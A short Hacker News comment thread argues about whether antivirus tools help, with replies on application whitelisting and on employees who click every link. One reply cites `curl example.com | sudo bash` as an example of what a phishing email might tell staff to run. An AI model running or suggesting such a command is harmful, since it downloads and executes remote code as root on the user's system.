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1. x-complexity · 1790323340 · focus · HN ↗

   Chalk another one up for "Antiviruses causing more problems than solving them".

   They 'worked' when they initially just scanned files for known malicious signatures. Now they're the equivalent of a sledgehammer to a wall with all of the extra bells & whistles strapped to them.

   Application whitelisting is the remaining way forward if you actually care about runtime security. That & locking every access point down to the bare minimum.

   1. codedokode · 1790326753 · focus · HN ↗

      Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.

      1. master-lincoln · 1790327135 · focus · HN ↗

         I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...

         1. gus_massa · 1790334764 · focus · HN ↗

            Imagine they got an email from the HR department that says that they must copy `curl example.com | sudo bash` to prove they are human and get their salary...

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